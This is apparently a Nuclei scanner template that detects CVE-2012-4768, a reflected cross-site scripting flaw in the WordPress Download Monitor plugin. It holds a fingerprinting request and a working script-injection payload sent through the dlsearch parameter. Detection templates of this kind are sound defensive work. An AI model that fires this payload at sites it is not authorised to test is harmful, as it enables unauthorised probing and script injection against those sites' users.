WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting

id: CVE-2012-4768

info:
  name: WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of Download Monitor (3.3.5.9 or higher) or apply the official patch provided by the plugin developer.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4768
    - http://packetstormsecurity.org/files/116408/wpdownloadmonitor3357-xss.txt
    - http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/78422
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4768
    cwe-id: CWE-79
    epss-score: 0.00922
    epss-percentile: 0.82559
    cpe: cpe:2.3:a:mikejolley:download_monitor:3.3.5.7:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: mikejolley
    product: download_monitor
    framework: wordpress
  tags: cve,cve2012,xss,wp-plugin,packetstorm,wordpress,mikejolley

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/download-monitor/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Download Monitor ='

  - method: GET
    path:
      - '{{BaseURL}}/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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